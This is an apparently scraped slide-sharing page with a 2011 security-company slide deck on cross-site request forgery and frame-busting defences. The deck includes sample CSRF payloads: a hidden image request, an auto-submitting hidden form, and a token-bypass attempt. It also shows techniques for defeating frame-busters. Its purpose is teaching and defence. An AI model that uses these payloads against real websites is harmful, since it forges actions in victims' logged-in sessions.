Q-Factor HISPOL Quiz-6th April 2024, Quiz Club NITW
Q-Factor HISPOL Quiz-6th April 2024, Quiz Club NITWQ-Factor HISPOL Quiz-6th April 2024, Quiz Club NITW
Q-Factor HISPOL Quiz-6th April 2024, Quiz Club NITW
 
Multi Domain Alias In the Odoo 17 ERP Module
Multi Domain Alias In the Odoo 17 ERP ModuleMulti Domain Alias In the Odoo 17 ERP Module
Multi Domain Alias In the Odoo 17 ERP Module
 
Measures of Position DECILES for ungrouped data
Measures of Position DECILES for ungrouped dataMeasures of Position DECILES for ungrouped data
Measures of Position DECILES for ungrouped data
 
4.16.24 Poverty and Precarity--Desmond.pptx
4.16.24 Poverty and Precarity--Desmond.pptx4.16.24 Poverty and Precarity--Desmond.pptx
4.16.24 Poverty and Precarity--Desmond.pptx
 

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

  • 1. CROSS-SITE REQUEST FORGERY In-depth analysis 2011 Copyright 2012 © CYBER GATES Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License
  • 2. Cross-Site Request Forgery The OWASP Top 10 Web Application Security Risks  A1: Injection  A2: Cross-Site Scripting (XSS)  A3: Broken Authentication and Session Management  A4: Insecure Direct Object References  A5: Cross-Site Request Forgery (CSRF) Security Risks  A6: Security Misconfiguration  A7: Insecure Cryptographic Storage 2010  A8: Failure to Restrict URL Access  A9: Insufficient Transport Layer Protection  A10: Unvalidated Redirects and Forwards Cross-Site Request Forgery  CYBER GATES  Page 2
  • 3. Cross-Site Request Forgery Description  Cross-Site Request Forgery (CSRF in short) is a kind of a web application vulnerability which allows malicious website to send unauthorized requests to a vulnerable website using active session of its authorized users. Example  <img src=”http://twitter.com/home?status=evil.com” style=”display:none”/> Cross-Site Request Forgery  CYBER GATES  Page 3
  • 4. Cross-Site Request Forgery Example <div style=“display:none”> <iframe name=“hiddenFrame”></iframe> <form name=“Form” action=“http://site.com/post.php” target=“hiddenFrame” method=“POST”> <input type=“text” name=“message” value=“I like www.evil.com” /> <input type=“submit” /> </form> <script>document.Form.submit();</script> </div> Cross-Site Request Forgery  CYBER GATES  Page 4
  • 5. Cross-Site Request Forgery Usless defenses  Only accept POST This stops simple link-based attacks (IMG, frames, etc.). But hidden POST requests can be created with frames, scripts, etc.  Referrer checking Some users prohibit referrers, so you can’t just require referrer headers. Techniques to selectively create HTTP request without referrers exist.  Requiring multi-step transactions CSRF attack can perform each step in order. Cross-Site Request Forgery  CYBER GATES  Page 5
  • 6. Cross-Site Request Forgery Solutions  CAPTHCA systems This is a type of challenge-response test used in computing to ensure that the response is not generated by a computer.  One-time tokens Unlike the CAPTCHA systems this is a unique number stored in the web form field and in session to compare them after the form submission. Cross-Site Request Forgery  CYBER GATES  Page 6
  • 7. Cross-Site Request Forgery & One-time tokens Bypassing one-time tokens <html><head><title>BAD.COM</title> <script language="javascript"> function submitForm(){ var token = window.frames[0].document.forms["messageForm"].elements["token"].value; var myForm = document.myForm; myForm.token.value = token; myForm.submit(); }</script></head> <body onLoad="submitForm();"> <div style="display:none"> <iframe src="http://good.com/index.php"></iframe> <form name="myForm" target="hidden" action=http://good.com/post.php method="POST"> <input type="text" name="message" value="I like www.bad.com" /> <input type="hidden" name="token" value="" /> <input type="submit" value="Post"> </form></div></body></html> Same origin policy Permission denied to access property 'document' Cross-Site Request Forgery  CYBER GATES  Page 7
  • 8. Cross-Site Request Forgery & FrameKillers Description  FrameKillers are small piece of javascript codes used to protect web pages from being framed. Example  if (top.location != location){ top.location = self.location; } Cross-Site Request Forgery  CYBER GATES  Page 8
  • 9. Cross-Site Request Forgery & FrameKillers Conditional statement  if (top != self)  if (top.location != self.location)  if (top.location != location)  if (parent.frames.length > 0)  if (window != top)  if (window.top !== window.self)  if (window.self != window.top)  if (parent && parent != window)  if (parent && parent.frames && parent.frames.length>0) Cross-Site Request Forgery  CYBER GATES  Page 9
  • 10. Cross-Site Request Forgery & FrameKillers Counter-action statement  top.location = self.location  top.location.href = document.location.href  top.location.replace(self.location)  top.location.href = window.location.href  top.location.replace(document.location)  top.location.href = window.location.href  top.location.href = "URL"  document.write('')  top.location.replace(document.location)  top.location.replace('URL')  top.location.replace(window.location.href)  top.location.href = location.href  self.parent.location = document.location  parent.location.href = self.document.location Cross-Site Request Forgery  CYBER GATES  Page 10
  • 11. Cross-Site Request Forgery & FrameKiller killers FrameKiller killers  Double framing <iframe src="second.html"></iframe> second.html <iframe src="http://www.site.com"></iframe>  Using onBeforeUnload event <script> window.onbeforeunload=function(){ return “do you want to leave this page?“; } </script> <iframe src="http://www.site.com"></iframe> Cross-Site Request Forgery  CYBER GATES  Page 11
  • 12. Cross-Site Request Forgery & Best Practices FrameKiller <style> html{ display : none; } </style> <script> if( self == top ) { document.documentElement.style.display='block'; } else { top.location = self.location; } </script> Note: This protects web application even if an attacker browses the webpage With javascript disabled option in the browser. Cross-Site Request Forgery  CYBER GATES  Page 12
  • 13. Cross-Site Request Forgery References  Cross-Site Request Forgery http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29 http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery  Same Origin Policy http://en.wikipedia.org/wiki/Same_origin_policy  FrameKiller(Frame Busting) http://en.wikipedia.org/wiki/Framekiller http://seclab.stanford.edu/websec/framebusting/framebust.pdf Cross-Site Request Forgery  CYBER GATES  Page 13
  • 14. CYBER GATES Contacts  Corporate website www.cybergates.am  Company profile on Twitter www.twitter.com/CyberGatesLLC  Company fan page on Facebook www.facebook.com/Cyber.Gates.page  Company profile on LinkedIn www.linkedin.com/company/CyberGates-LLC  Company channel on Vimeo www.vimeo.com/CyberGates  Company channel on YouTube www.youtube.com/TheCyberGates Cross-Site Request Forgery  CYBER GATES  Page 14
  • 15. „Be one step ahead in Security.“ www.cybergates.am